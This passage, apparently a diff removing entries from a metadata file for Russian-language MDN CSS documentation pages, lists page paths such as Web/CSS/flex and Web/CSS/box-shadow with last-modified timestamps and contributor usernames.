- "Web/CSS/CSS_Селекторы": {
- "modified": "2019-09-26T17:15:05.505Z",
- "contributors": [
- "RomanBush",
- "vkorzhova",
- "Gergalov",
- "bezik",
- "irenprkpv"
- ]
- },
- "Web/CSS/CSS_Селекторы/Using_the_:target_pseudo-class_in_selectors": {
- "modified": "2019-03-18T21:30:19.329Z",
- "contributors": [
- "Hoopers_Hooch"
- ]
- },
- "Web/CSS/Cascade": {
- "modified": "2019-12-08T06:05:17.526Z",
- "contributors": [
- "vitaminX",
- "bodrovphone",
- "blackcat55"
- ]
- },
- "Web/CSS/Child_combinator": {
- "modified": "2019-03-23T22:45:21.091Z",
- "contributors": [
- "ExE-Boss",
- "irakliykech",
- "BychekRU"
- ]
- },
- "Web/CSS/Class_selectors": {
- "modified": "2019-03-23T22:46:25.051Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/Column_combinator": {
- "modified": "2020-10-15T22:26:05.115Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/Common_CSS_Questions": {
- "modified": "2020-07-16T22:25:45.996Z",
- "contributors": [
- "quinn"
- ]
- },
- "Web/CSS/Containing_block": {
- "modified": "2020-01-07T10:40:33.535Z",
- "contributors": [
- "alattalatta",
- "Radragon"
- ]
- },
- "Web/CSS/Descendant_combinator": {
- "modified": "2019-03-23T22:45:17.695Z",
- "contributors": [
- "ExE-Boss",
- "irakliykech",
- "BychekRU"
- ]
- },
- "Web/CSS/General_sibling_combinator": {
- "modified": "2019-04-05T06:48:43.727Z",
- "contributors": [
- "babtshe",
- "ExE-Boss",
- "irakliykech",
- "mea612",
- "gwer",
- "BychekRU"
- ]
- },
- "Web/CSS/ID_selectors": {
- "modified": "2019-03-23T23:13:48.018Z",
- "contributors": [
- "bezik",
- "BychekRU",
- "bilazikboy"
- ]
- },
- "Web/CSS/Layout_cookbook": {
- "modified": "2020-09-30T16:32:50.977Z",
- "contributors": [
- "vnezapno",
- "VitalyKrenel",
- "chrisdavidmills"
- ]
- },
- "Web/CSS/Layout_cookbook/Breadcrumb_Navigation": {
- "modified": "2020-10-15T22:34:00.516Z",
- "contributors": [
- "sh4rov"
- ]
- },
- "Web/CSS/Layout_cookbook/Split_Navigation": {
- "modified": "2020-10-15T22:10:15.861Z",
- "contributors": [
- "dood"
- ]
- },
- "Web/CSS/Layout_cookbook/Sticky_footers": {
- "modified": "2020-10-15T22:31:12.566Z",
- "contributors": [
- "domminik"
- ]
- },
- "Web/CSS/Media_Queries": {
- "modified": "2019-03-23T22:04:37.337Z",
- "contributors": [
- "tropikan4",
- "Sheppy"
- ]
- },
- "Web/CSS/Media_Queries/Using_media_queries": {
- "modified": "2020-02-12T11:53:35.471Z",
- "contributors": [
- "halfdead30",
- "tjbulick",
- "AlexSND",
- "UriShlomov",
- "AliaksandrZahorski",
- "tirojal",
- "jlgfmhldf",
- "VovaBerenda",
- "valeryvitkus"
- ]
- },
- "Web/CSS/Media_Queries/Тестирование_медиа_запросы": {
- "modified": "2020-10-15T22:17:28.449Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/Paged_Media": {
- "modified": "2020-10-12T15:00:21.800Z",
- "contributors": [
- "at940266"
- ]
- },
- "Web/CSS/Pseudo-elements": {
- "modified": "2020-03-28T09:21:47.104Z",
- "contributors": [
- "pikeraft",
- "maxmiko",
- "ilovebeatles",
- "dima74",
- "BychekRU",
- "AlexDok"
- ]
- },
- "Web/CSS/Reference": {
- "modified": "2019-03-23T23:26:37.472Z",
- "contributors": [
- "bezik",
- "irakliykech",
- "TaKo13",
- "skyline1341",
- "warsan",
- "SnejUgal",
- "BychekRU",
- "Aleksej",
- "teoli",
- "scr1be"
- ]
- },
- "Web/CSS/Selector_list": {
- "modified": "2020-10-15T22:26:00.077Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/Shorthand_properties": {
- "modified": "2019-03-23T22:04:06.155Z",
- "contributors": [
- "brolnickij"
- ]
- },
- "Web/CSS/Specificity": {
- "modified": "2019-03-23T22:31:13.059Z",
- "contributors": [
- "kirillsh",
- "umbrochcho",
- "teddy-bear",
- "zipp3r",
- "hellpirat",
- "Hydrock",
- "102"
- ]
- },
- "Web/CSS/Type_selectors": {
- "modified": "2019-03-23T22:46:27.753Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/Universal_selectors": {
- "modified": "2019-03-23T22:46:25.942Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/Using_CSS_custom_properties": {
- "modified": "2019-05-25T05:15:45.165Z",
- "contributors": [
- "Allakazam",
- "gizmooo",
- "chrisdavidmills",
- "smelukov",
- "Quodnon",
- "KoltunovOleg",
- "LumenGNU",
- "bakhaa",
- "ArsenBespalov"
- ]
- },
- "Web/CSS/align-content": {
- "modified": "2020-10-15T21:43:27.677Z",
- "contributors": [
- "alkorlos",
- "stefanishy",
- "almaceleste",
- "Akh-rman",
- "m0nclous",
- "ivan-ivan01",
- "andreww2012"
- ]
- },
- "Web/CSS/align-items": {
- "modified": "2020-03-03T10:29:03.614Z",
- "contributors": [
- "webenot",
- "Akh-rman",
- "Darkonica",
- "IgorPuchkov2003",
- "helsworkflow",
- "andreww2012"
- ]
- },
- "Web/CSS/align-self": {
- "modified": "2020-10-15T21:43:26.584Z",
- "contributors": [
- "IgorPuchkov2003",
- "Bargamut",
- "andreww2012"
- ]
- },
- "Web/CSS/all": {
- "modified": "2020-10-15T21:43:31.011Z",
- "contributors": [
- "YozhEzhi",
- "Akh-rman",
- "andreww2012"
- ]
- },
- "Web/CSS/angle": {
- "modified": "2020-10-15T21:43:25.509Z",
- "contributors": [
- "ekirpichyov",
- "Akh-rman",
- "ChristinaKrapivina",
- "Sebastianz",
- "andreww2012"
- ]
- },
- "Web/CSS/animation": {
- "modified": "2020-10-15T21:41:33.251Z",
- "contributors": [
- "art-gur",
- "Akh-rman",
- "im-sad",
- "andreww2012",
- "mrstork",
- "shvaikalesh"
- ]
- },
- "Web/CSS/animation-delay": {
- "modified": "2019-03-18T20:53:19.546Z",
- "contributors": [
- "Rammfall",
- "Akh-rman",
- "Asrover",
- "andreww2012"
- ]
- },
- "Web/CSS/animation-direction": {
- "modified": "2020-03-21T05:35:21.779Z",
- "contributors": [
- "Virss",
- "Mrakobees",
- "Akh-rman",
- "Rammfall",
- "andreww2012"
- ]
- },
- "Web/CSS/animation-duration": {
- "modified": "2019-03-18T20:54:28.647Z",
- "contributors": [
- "Akh-rman",
- "Rammfall",
- "andreww2012"
- ]
- },
- "Web/CSS/animation-fill-mode": {
- "modified": "2019-03-18T20:54:28.431Z",
- "contributors": [
- "Akh-rman",
- "Asrover",
- "andreww2012"
- ]
- },
- "Web/CSS/animation-iteration-count": {
- "modified": "2019-03-23T22:48:45.774Z",
- "contributors": [
- "BychekRU",
- "teoli",
- "Sebastianz",
- "Evgeny81"
- ]
- },
- "Web/CSS/animation-name": {
- "modified": "2019-09-21T12:31:18.921Z",
- "contributors": [
- "webmasterhoz",
- "Mrakobees",
- "Akh-rman",
- "andreww2012"
- ]
- },
- "Web/CSS/animation-play-state": {
- "modified": "2019-03-18T20:50:26.300Z",
- "contributors": [
- "Akh-rman",
- "Rammfall",
- "andreww2012"
- ]
- },
- "Web/CSS/animation-timing-function": {
- "modified": "2020-10-15T21:43:26.224Z",
- "contributors": [
- "webmasterhoz",
- "NeverMine17",
- "Mrakobees",
- "Akh-rman",
- "Rammfall",
- "owlblinked",
- "andreww2012"
- ]
- },
- "Web/CSS/appearance": {
- "modified": "2020-10-15T22:18:27.633Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/attr()": {
- "modified": "2020-11-04T08:52:00.007Z",
- "contributors": [
- "chrisdavidmills",
- "DENYS-GAVRYLJAK",
- "Excent163",
- "SphinxKnight",
- "palchikowa",
- "andreww2012"
- ]
- },
- "Web/CSS/backdrop-filter": {
- "modified": "2020-10-15T21:52:06.891Z",
- "contributors": [
- "ekirpichyov",
- "Daniluk4000",
- "modelair",
- "x1unix"
- ]
- },
- "Web/CSS/backface-visibility": {
- "modified": "2020-10-15T22:14:53.323Z",
- "contributors": [
- "Akh-rman",
- "Rammfall"
- ]
- },
- "Web/CSS/background": {
- "modified": "2020-10-15T21:43:31.865Z",
- "contributors": [
- "Virss",
- "Sergio-Ka",
- "pefbrute",
- "genesky",
- "Akh-rman",
- "Roman-Kosov",
- "fscholz",
- "andreww2012"
- ]
- },
- "Web/CSS/background-attachment": {
- "modified": "2020-10-15T04:38:34.375Z",
- "contributors": [
- "Virss",
- "Akh-rman",
- "SphinxKnight",
- "teoli",
- "paradox"
- ]
- },
- "Web/CSS/background-blend-mode": {
- "modified": "2019-03-18T20:48:44.425Z",
- "contributors": [
- "Akh-rman",
- "ExE-Boss",
- "andreww2012",
- "mrstork",
- "Sebastianz",
- "ruslanchek"
- ]
- },
- "Web/CSS/background-clip": {
- "modified": "2020-10-15T21:43:28.457Z",
- "contributors": [
- "zardo96",
- "Akh-rman",
- "Maxim-Bernashevsky",
- "andreww2012"
- ]
- },
- "Web/CSS/background-color": {
- "modified": "2020-10-15T21:55:30.685Z",
- "contributors": [
- "ekirpichyov",
- "Akh-rman",
- "TaraZingo",
- "SnejUgal"
- ]
- },
- "Web/CSS/background-image": {
- "modified": "2020-08-12T07:31:21.006Z",
- "contributors": [
- "romazaharov09",
- "AliaksandrZahorski",
- "Akh-rman",
- "x-in",
- "wizAmit",
- "SphinxKnight",
- "teoli",
- "s1lver",
- "Sebastianz",
- "Aleksej",
- "russian"
- ]
- },
- "Web/CSS/background-origin": {
- "modified": "2020-10-15T22:15:26.670Z",
- "contributors": [
- "zardo96",
- "flee24",
- "Sergio-Ka",
- "Akh-rman"
- ]
- },
- "Web/CSS/background-position": {
- "modified": "2020-10-15T22:15:28.066Z",
- "contributors": [
- "Akh-rman"
- ]
- },
- "Web/CSS/background-position-x": {
- "modified": "2020-10-15T22:17:40.819Z",
- "contributors": [
- "Sergio-Ka"
- ]
- },
- "Web/CSS/background-repeat": {
- "modified": "2020-10-15T21:21:11.379Z",
- "contributors": [
- "Akh-rman",
- "Rammfall",
- "Roman-Kosov",
- "SphinxKnight",
- "teoli",
- "piar.tattoo@gmail.com"
- ]
- },
- "Web/CSS/background-size": {
- "modified": "2020-03-29T05:16:40.780Z",
- "contributors": [
- "Virss",
- "JuliaAlaeva",
- "Neiromaster",
- "grundiss",
- "Akh-rman",
- "alexbs",
- "dad-ua",
- "VladdOs",
- "Sebastianz",
- "andreww2012"
- ]
- },
- "Web/CSS/blend-mode": {
- "modified": "2019-03-23T22:37:56.295Z",
- "contributors": [
- "andreww2012"
- ]
- },
- "Web/CSS/block-size": {
- "modified": "2020-10-15T22:09:37.709Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/CSS/border": {
- "modified": "2020-10-15T21:55:22.050Z",
- "contributors": [
- "Roman-Kosov",
- "suvorovib"
- ]
- },
- "Web/CSS/border-bottom": {
- "modified": "2020-10-15T22:33:07.161Z",
- "contributors": [
- "ElCrown"
- ]
- },
- "Web/CSS/border-image-outset": {
- "modified": "2019-03-23T22:37:56.772Z",
- "contributors": [
- "Sebastianz",
- "andreww2012"
- ]
- },
- "Web/CSS/border-image-repeat": {
- "modified": "2019-03-23T22:37:53.893Z",
- "contributors": [
- "andreww2012"
- ]
- },
- "Web/CSS/border-image-slice": {
- "modified": "2019-12-11T07:12:40.633Z",
- "contributors": [
- "Sviridov-Boris",
- "Sebastianz",
- "andreww2012"
- ]
- },
- "Web/CSS/border-image-source": {
- "modified": "2019-03-23T22:37:57.989Z",
- "contributors": [
- "Sebastianz",
- "andreww2012"
- ]
- },
- "Web/CSS/border-image-width": {
- "modified": "2019-03-23T22:37:57.822Z",
- "contributors": [
- "andreww2012"
- ]
- },
- "Web/CSS/border-radius": {
- "modified": "2020-10-15T21:39:21.352Z",
- "contributors": [
- "tjbulick",
- "AliaksandrZahorski",
- "BychekRU",
- "oxmap",
- "Roman-Kosov",
- "Sajag",
- "Sebastianz"
- ]
- },
- "Web/CSS/border-width": {
- "modified": "2019-08-04T12:59:08.680Z",
- "contributors": [
- "mcbellya",
- "mrsVelena",
- "Sebastianz",
- "codedokode",
- "RomanShabanov"
- ]
- },
- "Web/CSS/bottom": {
- "modified": "2020-10-15T22:06:19.913Z",
- "contributors": [
- "niktariy",
- "warsan"
- ]
- },
- "Web/CSS/box-shadow": {
- "modified": "2020-10-15T21:29:59.487Z",
- "contributors": [
- "BychekRU",
- "Cheglok",
- "Roman-Kosov",
- "regress000",
- "Sajag",
- "Sebastianz",
- "amityagov",
- "Sehan"
- ]
- },
- "Web/CSS/box-sizing": {
- "modified": "2020-10-15T21:34:11.261Z",
- "contributors": [
- "wenzor",
- "HImichun",
- "AliaksandrZahorski",
- "xilaraux",
- "volodymyr.matvienko",
- "Kapiroska",
- "vova",
- "Sebastianz",
- "Sergey.Vdovareize"
- ]
- },
- "Web/CSS/box_model": {
- "modified": "2019-03-23T23:02:32.915Z",
- "contributors": [
- "akovbovich",
- "Aleksej",
- "codedokode"
- ]
- },
- "Web/CSS/calc()": {
- "modified": "2020-11-04T09:08:45.108Z",
- "contributors": [
- "chrisdavidmills",
- "ivan.ferenchuk",
- "hisbvdis",
- "8Suomi8",
- "mzelensky",
- "coolder",
- "AlKach",
- "Landlord",
- "alpha-kappa",
- "trubenko",
- "mrstork",
- "prayash",
- "teoli",
- "UmanShield",
- "ukarim"
- ]
- },
- "Web/CSS/clamp()": {
- "modified": "2020-11-05T09:58:41.585Z",
- "contributors": [
- "chrisdavidmills",
- "Anonymous",
- "hisbvdis"
- ]
- },
- "Web/CSS/clear": {
- "modified": "2020-10-15T22:06:20.063Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/CSS/clip-path": {
- "modified": "2020-10-15T21:57:40.076Z",
- "contributors": [
- "fscholz",
- "torbasow",
- "AntonPanteleev"
- ]
- },
- "Web/CSS/color_value": {
- "modified": "2020-11-14T18:25:56.686Z",
- "contributors": [
- "Tanja",
- "KenyaLS"
- ]
- },
- "Web/CSS/column-count": {
- "modified": "2020-10-15T22:27:08.261Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/column-fill": {
- "modified": "2019-03-23T22:48:52.516Z",
- "contributors": [
- "fscholz",
- "Sebastianz",
- "Varinetz"
- ]
- },
- "Web/CSS/column-rule": {
- "modified": "2020-10-15T22:27:07.023Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/column-rule-color": {
- "modified": "2020-10-15T22:27:09.497Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/column-rule-style": {
- "modified": "2020-10-15T22:27:09.089Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/computed_value": {
- "modified": "2019-03-23T22:31:07.128Z",
- "contributors": [
- "ViktorPalansky",
- "BychekRU"
- ]
- },
- "Web/CSS/content": {
- "modified": "2020-10-15T22:17:47.064Z",
- "contributors": [
- "almaceleste",
- "opereverzeva"
- ]
- },
- "Web/CSS/cursor": {
- "modified": "2020-10-15T21:43:43.338Z",
- "contributors": [
- "janoteni",
- "Simaleon",
- "mikak",
- "andreww2012"
- ]
- },
- "Web/CSS/custom-ident": {
- "modified": "2020-11-08T10:57:14.137Z",
- "contributors": [
- "ialexi-bl"
- ]
- },
- "Web/CSS/direction": {
- "modified": "2020-10-15T22:35:15.586Z",
- "contributors": [
- "at940266"
- ]
- },
- "Web/CSS/display": {
- "modified": "2020-10-15T21:26:46.413Z",
- "contributors": [
- "bsergey",
- "warsan",
- "baradusov",
- "Sebastianz",
- "Aleksej",
- "teoli",
- "racer1933"
- ]
- },
- "Web/CSS/display-listitem": {
- "modified": "2020-10-15T22:09:54.609Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/CSS/display-outside": {
- "modified": "2020-10-15T22:10:05.114Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/CSS/filter": {
- "modified": "2020-10-15T21:43:42.754Z",
- "contributors": [
- "Simaleon",
- "rookhive",
- "SpawnLeon",
- "DareDevil539",
- "Sebastianz",
- "andreww2012"
- ]
- },
- "Web/CSS/filter-function": {
- "modified": "2020-03-12T08:22:01.894Z",
- "contributors": [
- "rookhive",
- "opereverzeva"
- ]
- },
- "Web/CSS/filter-function/blur()": {
- "modified": "2020-11-05T09:45:49.226Z",
- "contributors": [
- "chrisdavidmills",
- "ekirpichyov"
- ]
- },
- "Web/CSS/filter-function/url": {
- "modified": "2020-04-29T08:14:17.353Z",
- "contributors": [
- "podocenov"
- ]
- },
- "Web/CSS/flex": {
- "modified": "2019-06-28T12:43:39.434Z",
- "contributors": [
- "LiubavaL",
- "AnnaTraiko",
- "yaroslav-perec",
- "llotall",
- "mhaidamashko",
- "MrDaedra",
- "Dolfik",
- "Sebastianz",
- "teoli",
- "ahtohbi4"
- ]
- },
- "Web/CSS/flex-basis": {
- "modified": "2020-10-15T22:01:27.616Z",
- "contributors": [
- "LiubavaL",
- "Remzes",
- "ZeroUnderscoreOu",
- "MishaKazakov",
- "fundzi"
- ]
- },
- "Web/CSS/flex-direction": {
- "modified": "2019-06-05T06:18:19.251Z",
- "contributors": [
- "a1ek5borodai",
- "alxklochkov",
- "fscholz",
- "Sebastianz",
- "Multysh",
- "petanisimov"
- ]
- },
- "Web/CSS/flex-flow": {
- "modified": "2019-03-23T22:09:15.205Z",
- "contributors": [
- "mkhazov",
- "mhaidamashko"
- ]
- },
- "Web/CSS/flex-grow": {
- "modified": "2020-10-15T21:49:52.928Z",
- "contributors": [
- "kss555",
- "MrDaedra",
- "karpulix"
- ]
- },
- "Web/CSS/flex-shrink": {
- "modified": "2020-10-15T21:55:35.817Z",
- "contributors": [
- "ekirpichyov",
- "zbralex",
- "fscholz",
- "mhaidamashko"
- ]
- },
- "Web/CSS/flex-wrap": {
- "modified": "2020-10-15T21:56:24.046Z",
- "contributors": [
- "NiBeliaev",
- "Bargamut",
- "yuriy-korsunov",
- "enagorny",
- "dedotmoroz"
- ]
- },
- "Web/CSS/flex_value": {
- "modified": "2020-10-15T22:30:01.235Z",
- "contributors": [
- "HImichun"
- ]
- },
- "Web/CSS/float": {
- "modified": "2020-01-09T11:46:26.787Z",
- "contributors": [
- "AliaksandrZahorski",
- "wbamberg",
- "VasylenckoSlava",
- "fscholz",
- "Sebastianz",
- "Aleksej",
- "teoli",
- "racer1933"
- ]
- },
- "Web/CSS/font": {
- "modified": "2020-10-15T22:24:35.540Z",
- "contributors": [
- "IgorBroKogama",
- "sashakrauzer"
- ]
- },
- "Web/CSS/font-family": {
- "modified": "2020-10-15T21:57:35.974Z",
- "contributors": [
- "almaceleste",
- "krasnoshtan",
- "Tim152",
- "Gnet",
- "chulanovskyi"
- ]
- },
- "Web/CSS/font-size": {
- "modified": "2019-11-13T10:08:51.349Z",
- "contributors": [
- "sashakrauzer",
- "krasnoshtan",
- "RomanBush",
- "a-bodrova",
- "Sebastianz",
- "teoli",
- "Limoto",
- "s1lver"
- ]
- },
- "Web/CSS/font-style": {
- "modified": "2020-10-15T22:00:36.373Z",
- "contributors": [
- "Yialo",
- "MuradAz"
- ]
- },
- "Web/CSS/font-variant-ligatures": {
- "modified": "2020-10-25T16:42:47.756Z",
- "contributors": [
- "vdav-dev",
- "dmungalov",
- "PermApelsin"
- ]
- },
- "Web/CSS/font-variant-numeric": {
- "modified": "2019-03-23T23:05:24.395Z",
- "contributors": [
- "kalmukvitaly",
- "Sebastianz",
- "Mercury13"
- ]
- },
- "Web/CSS/font-weight": {
- "modified": "2019-11-13T14:29:03.262Z",
- "contributors": [
- "sashakrauzer",
- "Elivin",
- "FeliciaJess",
- "botinok-plus",
- "dfitiskin",
- "SphinxKnight",
- "s1lver"
- ]
- },
- "Web/CSS/gap": {
- "modified": "2020-10-15T22:30:34.130Z",
- "contributors": [
- "brendan8c"
- ]
- },
- "Web/CSS/grid": {
- "modified": "2019-03-23T22:15:22.982Z",
- "contributors": [
- "Hekpom2003",
- "coshturnina",
- "Dragon220",
- "misterybray",
- "BomberNastya"
- ]
- },
- "Web/CSS/grid-area": {
- "modified": "2020-10-15T22:01:32.557Z",
- "contributors": [
- "coshturnina"
- ]
- },
- "Web/CSS/grid-auto-flow": {
- "modified": "2020-11-26T09:57:50.137Z",
- "contributors": [
- "niki-timofe",
- "Leuchtkafer"
- ]
- },
- "Web/CSS/grid-gap": {
- "modified": "2020-10-15T22:05:04.554Z",
- "contributors": [
- "oxmap",
- "slychai85"
- ]
- },
- "Web/CSS/grid-row-start": {
- "modified": "2020-10-15T22:26:03.940Z",
- "contributors": [
- "AnastasiyaKisalo"
- ]
- },
- "Web/CSS/grid-template-areas": {
- "modified": "2020-10-15T22:24:45.942Z",
- "contributors": [
- "Mallariel"
- ]
- },
- "Web/CSS/grid-template-columns": {
- "modified": "2020-10-15T21:53:55.516Z",
- "contributors": [
- "brendan8c",
- "HImichun",
- "gunzenroses",
- "IgorPuchkov2003",
- "fscholz",
- "VerkholaAlex",
- "PaulineNemchak",
- "SHOOROOP"
- ]
- },
- "Web/CSS/grid-template-rows": {
- "modified": "2020-10-15T21:55:57.894Z",
- "contributors": [
- "Helga312",
- "alishka242",
- "Sevasun",
- "fscholz",
- "PaulineNemchak"
- ]
- },
- "Web/CSS/hanging-punctuation": {
- "modified": "2020-10-15T22:16:45.554Z",
- "contributors": [
- "sergey.bannikov"
- ]
- },
- "Web/CSS/height": {
- "modified": "2020-10-15T21:48:02.538Z",
- "contributors": [
- "Kikubaaqudgha",
- "Antin74",
- "VladdOs"
- ]
- },
- "Web/CSS/hyphens": {
- "modified": "2020-10-23T18:33:00.164Z",
- "contributors": [
- "Ruslan_Zlygostev"
- ]
- },
- "Web/CSS/image-set()": {
- "modified": "2020-11-16T08:54:13.901Z",
- "contributors": [
- "chrisdavidmills",
- "justredpaul"
- ]
- },
- "Web/CSS/inherit": {
- "modified": "2020-10-15T22:09:42.824Z",
- "contributors": [
- "vpkopylov",
- "bsergey"
- ]
- },
- "Web/CSS/inheritance": {
- "modified": "2019-03-23T22:44:45.904Z",
- "contributors": [
- "ViktorPalansky",
- "BychekRU"
- ]
- },
- "Web/CSS/initial": {
- "modified": "2020-10-15T22:09:53.246Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/CSS/initial_value": {
- "modified": "2019-03-23T22:46:29.428Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/inline-size": {
- "modified": "2020-10-15T22:32:24.743Z",
- "contributors": [
- "s0verina"
- ]
- },
- "Web/CSS/inset": {
- "modified": "2020-10-15T22:18:40.213Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/integer": {
- "modified": "2019-03-18T21:45:04.582Z",
- "contributors": [
- "TViglesGoom"
- ]
- },
- "Web/CSS/isolation": {
- "modified": "2020-10-15T22:12:33.018Z",
- "contributors": [
- "opereverzeva",
- "AliaksandrZahorski"
- ]
- },
- "Web/CSS/justify-content": {
- "modified": "2020-11-09T19:06:49.136Z",
- "contributors": [
- "serj-by",
- "Radragon",
- "HImichun",
- "IgorPuchkov2003",
- "Connor-CopLand",
- "PaulineNemchak",
- "SelenIT",
- "talgautb",
- "AlexSND",
- "davidyuk",
- "FeliciaJess",
- "alexandrtovmach"
- ]
- },
- "Web/CSS/justify-items": {
- "modified": "2020-10-15T22:30:28.052Z",
- "contributors": [
- "randomesis"
- ]
- },
- "Web/CSS/letter-spacing": {
- "modified": "2020-10-15T22:16:52.753Z",
- "contributors": [
- "sergey.bannikov"
- ]
- },
- "Web/CSS/line-break": {
- "modified": "2020-10-15T22:19:17.221Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/line-height": {
- "modified": "2020-10-15T21:58:19.788Z",
- "contributors": [
- "sashakrauzer",
- "arto-777",
- "Lyod1"
- ]
- },
- "Web/CSS/linear-gradient()": {
- "modified": "2020-11-16T08:57:46.008Z",
- "contributors": [
- "chrisdavidmills",
- "Virss"
- ]
- },
- "Web/CSS/list-style-image": {
- "modified": "2020-10-15T22:19:11.104Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/margin": {
- "modified": "2020-10-15T21:58:26.353Z",
- "contributors": [
- "lerk1nz",
- "bsergey",
- "svekl",
- "talgautb"
- ]
- },
- "Web/CSS/margin-bottom": {
- "modified": "2020-10-15T22:05:49.669Z",
- "contributors": [
- "Kikubaaqudgha",
- "owlblinked",
- "zeth75"
- ]
- },
- "Web/CSS/margin-inline-end": {
- "modified": "2020-10-15T22:11:33.244Z",
- "contributors": [
- "Abdev"
- ]
- },
- "Web/CSS/margin-inline-start": {
- "modified": "2020-10-15T22:09:40.963Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/CSS/margin-left": {
- "modified": "2020-10-15T22:06:30.088Z",
- "contributors": [
- "Kikubaaqudgha",
- "owlblinked"
- ]
- },
- "Web/CSS/margin-right": {
- "modified": "2020-10-15T22:14:29.071Z",
- "contributors": [
- "Kikubaaqudgha"
- ]
- },
- "Web/CSS/margin-top": {
- "modified": "2020-10-15T22:09:38.890Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/CSS/max-block-size": {
- "modified": "2019-03-23T22:04:56.796Z",
- "contributors": [
- "baltsevich"
- ]
- },
- "Web/CSS/max-height": {
- "modified": "2020-10-15T22:14:44.612Z",
- "contributors": [
- "Kikubaaqudgha"
- ]
- },
- "Web/CSS/max-width": {
- "modified": "2020-10-15T22:14:51.509Z",
- "contributors": [
- "Kikubaaqudgha"
- ]
- },
- "Web/CSS/min-height": {
- "modified": "2020-10-15T22:14:42.161Z",
- "contributors": [
- "Kikubaaqudgha"
- ]
- },
- "Web/CSS/min-width": {
- "modified": "2020-10-15T22:14:45.908Z",
- "contributors": [
- "Kikubaaqudgha"
- ]
- },
- "Web/CSS/minmax()": {
- "modified": "2020-11-16T09:06:31.536Z",
- "contributors": [
- "chrisdavidmills",
- "valsaven"
- ]
- },
- "Web/CSS/mix-blend-mode": {
- "modified": "2020-10-15T21:43:26.599Z",
- "contributors": [
- "ekirpichyov",
- "SJW",
- "beloglazof",
- "bbars",
- "andreww2012"
- ]
- },
- "Web/CSS/number": {
- "modified": "2019-03-18T21:41:38.530Z",
- "contributors": [
- "TViglesGoom"
- ]
- },
- "Web/CSS/object-fit": {
- "modified": "2020-10-15T21:51:28.219Z",
- "contributors": [
- "devlato",
- "Roman-Kosov",
- "Danakt",
- "yunusga",
- "Wishmaker888"
- ]
- },
- "Web/CSS/object-position": {
- "modified": "2020-10-25T10:52:50.936Z",
- "contributors": [
- "Virss"
- ]
- },
- "Web/CSS/opacity": {
- "modified": "2020-10-15T22:18:54.054Z",
- "contributors": [
- "almaceleste",
- "opereverzeva"
- ]
- },
- "Web/CSS/order": {
- "modified": "2020-10-15T21:58:38.204Z",
- "contributors": [
- "e508ea3d",
- "albertmolodec",
- "chulanovskyi"
- ]
- },
- "Web/CSS/orphans": {
- "modified": "2020-10-15T21:37:29.010Z",
- "contributors": [
- "opereverzeva",
- "Sebastianz",
- "frost-nzcr4"
- ]
- },
- "Web/CSS/overflow": {
- "modified": "2020-10-15T21:30:11.994Z",
- "contributors": [
- "bershanskiy",
- "warsan",
- "Natalya_Surikova",
- "Dzenly",
- "Sebastianz",
- "s-n-ushakov",
- "Sheppy",
- "ldone"
- ]
- },
- "Web/CSS/overflow-block": {
- "modified": "2020-10-15T22:24:45.971Z",
- "contributors": [
- "hts1238-yandex"
- ]
- },
- "Web/CSS/overflow-wrap": {
- "modified": "2020-10-15T22:32:23.699Z",
- "contributors": [
- "s0verina"
- ]
- },
- "Web/CSS/overscroll-behavior": {
- "modified": "2020-10-15T22:06:27.282Z",
- "contributors": [
- "owlblinked"
- ]
- },
- "Web/CSS/padding": {
- "modified": "2020-10-15T21:46:52.617Z",
- "contributors": [
- "Virss",
- "idoru",
- "bershanskiy",
- "Asrover",
- "vvalgis"
- ]
- },
- "Web/CSS/padding-left": {
- "modified": "2020-10-15T21:40:14.895Z",
- "contributors": [
- "bershanskiy",
- "Sebastianz",
- "Prinz_Rana",
- "andreww2012",
- "justtry"
- ]
- },
- "Web/CSS/padding-right": {
- "modified": "2019-03-23T22:43:49.823Z",
- "contributors": [
- "Sebastianz",
- "Prinz_Rana",
- "justtry"
- ]
- },
- "Web/CSS/paint-order": {
- "modified": "2020-10-15T22:19:12.089Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/percentage": {
- "modified": "2020-10-15T22:12:07.224Z",
- "contributors": [
- "Virss",
- "Lighter97",
- "ialexi-bl"
- ]
- },
- "Web/CSS/perspective": {
- "modified": "2019-03-23T22:19:08.789Z",
- "contributors": [
- "Zanziver"
- ]
- },
- "Web/CSS/pointer-events": {
- "modified": "2019-03-18T21:10:14.288Z",
- "contributors": [
- "warsan",
- "JustCallMeFrank",
- "Isk1n",
- "kav137",
- "valeriya-z"
- ]
- },
- "Web/CSS/position": {
- "modified": "2020-10-15T21:50:06.252Z",
- "contributors": [
- "almaceleste",
- "niktariy",
- "kshshe",
- "KalachevDev",
- "snilcy",
- "warsan",
- "fscholz",
- "Koshunch",
- "meowow",
- "bilazik"
- ]
- },
- "Web/CSS/radial-gradient()": {
- "modified": "2020-11-18T14:42:49.208Z",
- "contributors": [
- "chrisdavidmills",
- "shade0602",
- "the_ghost",
- "SerzN1"
- ]
- },
- "Web/CSS/ratio": {
- "modified": "2020-10-15T22:19:17.156Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/repeating-linear-gradient()": {
- "modified": "2020-11-18T14:46:25.201Z",
- "contributors": [
- "chrisdavidmills",
- "YozhEzhi",
- "arcady-zherdev"
- ]
- },
